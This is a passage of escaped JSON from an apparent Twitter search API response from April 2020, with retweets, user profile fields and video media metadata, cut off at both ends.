2010\",\"favourites_count\":133530,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":38023,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"0099B9\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme4\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme4\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1206722622802800640\\\/Tp_bK1nV_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1206722622802800640\\\/Tp_bK1nV_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/194071815\\\/1406605005\",\"profile_link_color\":\"FF691F\",\"profile_sidebar_border_color\":\"5ED4DC\",\"profile_sidebar_fill_color\":\"95E8EC\",\"profile_text_color\":\"3C3940\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":3,\"favorite_count\":37,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657111916545,\"id_str\":\"1254206657111916545\",\"text\":\"RT @LJJAY7: Take notes babygirl \\ud83e\\udd17 IG: ljaaaayyyy https:\\\/\\\/t.co\\\/ooeYap03FH\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"LJJAY7\",\"name\":\"L.\",\"id\":1220050781593899010,\"id_str\":\"1220050781593899010\",\"indices\":[3,10]}],\"urls\":[],\"media\":[{\"id\":1252762554796998658,\"id_str\":\"1252762554796998658\",\"indices\":[49,72],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ooeYap03FH\",\"display_url\":\"pic.twitter.com\\\/ooeYap03FH\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LJJAY7\\\/status\\\/1252762680496177152\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":720,\"h\":1280,\"resize\":\"fit\"},\"medium\":{\"w\":675,\"h\":1200,\"resize\":\"fit\"}},\"source_status_id\":1252762680496177152,\"source_status_id_str\":\"1252762680496177152\",\"source_user_id\":1220050781593899010,\"source_user_id_str\":\"1220050781593899010\"}]},\"extended_entities\":{\"media\":[{\"id\":1252762554796998658,\"id_str\":\"1252762554796998658\",\"indices\":[49,72],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ooeYap03FH\",\"display_url\":\"pic.twitter.com\\\/ooeYap03FH\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LJJAY7\\\/status\\\/1252762680496177152\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":720,\"h\":1280,\"resize\":\"fit\"},\"medium\":{\"w\":675,\"h\":1200,\"resize\":\"fit\"}},\"source_status_id\":1252762680496177152,\"source_status_id_str\":\"1252762680496177152\",\"source_user_id\":1220050781593899010,\"source_user_id_str\":\"1220050781593899010\",\"video_info\":{\"aspect_ratio\":[9,16],\"duration_millis\":7183,\"variants\":[{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/pl\\\/PS4qcmG94wzmoBj7.m3u8?tag=10\"},{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/vid\\\/360x640\\\/eI-depY-BwgeWs80.mp4?tag=10\"},{\"bitrate\":632000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/vid\\\/320x568\\\/zYaQDzFbR1zzEuCK.mp4?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/vid\\\/720x1280\\\/nw1mTLie45M_C6JU.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false,\"source_user\":{\"id\":1220050781593899010,\"id_str\":\"1220050781593899010\",\"name\":\"L.\",\"screen_name\":\"LJJAY7\",\"location\":\"\",\"description\":\"Accomplish the unbelievable \\ud83e\\udd2b IG | @ljaaaayyyy Snap | @ljjaayyyy\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":44,\"friends_count\":50,\"listed_count\":0,\"created_at\":\"Wed Jan 22 18:29:17 +0000 2020\",\"favourites_count\":644,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":493,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1250909737622831104\\\/WnwKXHJ5_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1250909737622831104\\\/WnwKXHJ5_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1220050781593899010\\\/1587857554\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"}}}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1220050781593899010,\"id_str\":\"1220050781593899010\",\"name\":\"L.\",\"screen_name\":\"LJJAY7\",\"location\":\"\",\"description\":\"Accomplish the unbelievable \\ud83e\\udd2b IG | @ljaaaayyyy Snap | @ljjaayyyy\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":44,\"friends_count\":50,\"listed_count\":0,\"created_at\":\"Wed Jan 22 18:29:17 +0000 2020\",\"favourites_count\":644,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":493,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1250909737622831104\\\/WnwKXHJ5_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1250909737622831104\\\/WnwKXHJ5_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1220050781593899010\\\/1587857554\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Wed Apr 22 00:54:32 +0000 2020\",\"id\":1252762680496177152,\"id_str\":\"1252762680496177152\",\"text\":\"Take notes babygirl \\ud83e\\udd17 IG: ljaaaayyyy https:\\\/\\\/t.co\\\/ooeYap03FH\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1252762554796998658,\"id_str\":\"1252762554796998658\",\"indices\":[37,60],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ooeYap03FH\",\"display_url\":\"pic.twitter.com\\\/ooeYap03FH\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LJJAY7\\\/status\\\/1252762680496177152\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":720,\"h\":1280,\"resize\":\"fit\"},\"medium\":{\"w\":675,\"h\":1200,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1252762554796998658,\"id_str\":\"1252762554796998658\",\"indices\":[37,60],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ooeYap03FH\",\"display_url\":\"pic.twitter.com\\\/ooeYap03FH\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LJJAY7\\\/status\\\/1252762680496177152\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":720,\"h\":1280,\"resize\":\"fit\"},\"medium\":{\"w\":675,\"h\":1200,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[9,16],\"duration_millis\":7183,\"variants\":[{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/pl\\\/PS4qcmG94wzmoBj7.m3u8?tag=10\"},{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/vid\\\/360x640\\\/eI-depY-BwgeWs80.mp4?tag=10\"},{\"bitrate\":632000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/vid\\\/320x568\\\/zYaQDzFbR1zzEuCK.mp4?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/vid\\\/720x1280\\\/nw1mTLie45M_C6JU.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1220050781593899010,\"id_str\":\"1220050781593899010\",\"name\":\"L.\",\"screen_name\":\"LJJAY7\",\"location\":\"\",\"description\":\"Accomplish the unbelievable \\ud83e\\udd2b IG | @ljaaaayyyy Snap | @ljjaayyyy\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":44,\"friends_count\":50,\"listed_count\":0,\"created_at\":\"Wed Jan 22 18:29:17 +0000 2020\",\"favourites_count\":644,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":493,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1250909737622831104\\\/WnwKXHJ5_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1250909737622831104\\\/WnwKXHJ5_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1220050781593899010\\\/1587857554\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":1,\"favorite_count\":4,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":true,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":1,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":true,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657002954753,\"id_str\":\"1254206657002954753\",\"text\":\"RT @LoudLuxury: THIS IS THE CRAZIEST SHOUTOUT WE\\u2019VE EVER HAD https:\\\/\\\/t.co\\\/S2M6rWuIv9\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"LoudLuxury\",\"name\":\"LOUD LUXURY\",\"id\":636798983,\"id_str\":\"636798983\",\"indices\":[3,14]}],\"urls\":[],\"media\":[{\"id\":1254177914548973568,\"id_str\":\"1254177914548973568\",\"indices\":[61,84],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/S2M6rWuIv9\",\"display_url\":\"pic.twitter.com\\\/S2M6rWuIv9\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LoudLuxury\\\/status\\\/1254177942160109568\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":315,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":555,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":592,\"h\":1280,\"resize\":\"fit\"}},\"source_status_id\":1254177942160109568,\"source_status_id_str\":\"1254177942160109568\",\"source_user_id\":636798983,\"source_user_id_str\":\"636798983\"}]},\"extended_entities\":{\"media\":[{\"id\":1254177914548973568,\"id_str\":\"1254177914548973568\",\"indices\":[61,84],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/S2M6rWuIv9\",\"display_url\":\"pic.twitter.com\\\/S2M6rWuIv9\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LoudLuxury\\\/status\\\/1254177942160109568\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":315,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":555,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":592,\"h\":1280,\"resize\":\"fit\"}},\"source_status_id\":1254177942160109568,\"source_status_id_str\":\"1254177942160109568\",\"source_user_id\":636798983,\"source_user_id_str\":\"636798983\",\"video_info\":{\"aspect_ratio\":[37,80],\"duration_millis\":4468,\"variants\":[{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/pl\\\/x-8n3sLVOeldDD2B.m3u8?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/vid\\\/592x1280\\\/BAC3g6bTrFhYAT2A.mp4?tag=10\"},{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/vid\\\/360x778\\\/CZqGFrt5E9hWIBuF.mp4?tag=10\"},{\"bitrate\":632000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/vid\\\/320x690\\\/Fl4K3_fQtPmrOutK.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false,\"source_user\":{\"id\":636798983,\"id_str\":\"636798983\",\"name\":\"LOUD LUXURY\",\"screen_name\":\"LoudLuxury\",\"location\":\"\",\"description\":\"nights like this \\ud83c\\udf19\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":16239,\"friends_count\":310,\"listed_count\":79,\"created_at\":\"Mon Jul 16 08:12:40 +0000 2012\",\"favourites_count\":24502,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3860,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243387286156226561\\\/tSBhr6o3_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243387286156226561\\\/tSBhr6o3_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/636798983\\\/1551346510\",\"profile_link_color\":\"ABB8C2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"}}}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":3222873008,\"id_str\":\"3222873008\",\"name\":\"Breauxs In The City\",\"screen_name\":\"braudsinthecity\",\"location\":\"New Orleans, LA\",\"description\":\"follow us through all our adventures \\ud83d\\ude0e\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":207,\"friends_count\":690,\"listed_count\":2,\"created_at\":\"Fri May 22 02:38:37 +0000 2015\",\"favourites_count\":10409,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":515,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1167663215091900418\\\/8riZRvQq_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1167663215091900418\\\/8riZRvQq_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/3222873008\\\/1502922748\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 22:38:17 +0000 2020\",\"id\":1254177942160109568,\"id_str\":\"1254177942160109568\",\"text\":\"THIS IS THE CRAZIEST SHOUTOUT WE\\u2019VE EVER HAD https:\\\/\\\/t.co\\\/S2M6rWuIv9\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254177914548973568,\"id_str\":\"1254177914548973568\",\"indices\":[45,68],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/S2M6rWuIv9\",\"display_url\":\"pic.twitter.com\\\/S2M6rWuIv9\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LoudLuxury\\\/status\\\/1254177942160109568\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":315,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":555,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":592,\"h\":1280,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254177914548973568,\"id_str\":\"1254177914548973568\",\"indices\":[45,68],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/S2M6rWuIv9\",\"display_url\":\"pic.twitter.com\\\/S2M6rWuIv9\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LoudLuxury\\\/status\\\/1254177942160109568\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":315,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":555,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":592,\"h\":1280,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[37,80],\"duration_millis\":4468,\"variants\":[{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/pl\\\/x-8n3sLVOeldDD2B.m3u8?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/vid\\\/592x1280\\\/BAC3g6bTrFhYAT2A.mp4?tag=10\"},{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/vid\\\/360x778\\\/CZqGFrt5E9hWIBuF.mp4?tag=10\"},{\"bitrate\":632000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/vid\\\/320x690\\\/Fl4K3_fQtPmrOutK.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":636798983,\"id_str\":\"636798983\",\"name\":\"LOUD LUXURY\",\"screen_name\":\"LoudLuxury\",\"location\":\"\",\"description\":\"nights like this \\ud83c\\udf19\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":16239,\"friends_count\":310,\"listed_count\":79,\"created_at\":\"Mon Jul 16 08:12:40 +0000 2012\",\"favourites_count\":24502,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3860,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243387286156226561\\\/tSBhr6o3_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243387286156226561\\\/tSBhr6o3_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/636798983\\\/1551346510\",\"profile_link_color\":\"ABB8C2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":26,\"favorite_count\":251,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":26,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656977661953,\"id_str\":\"1254206656977661953\",\"text\":\"https:\\\/\\\/t.co\\\/xQVrNV3BXO 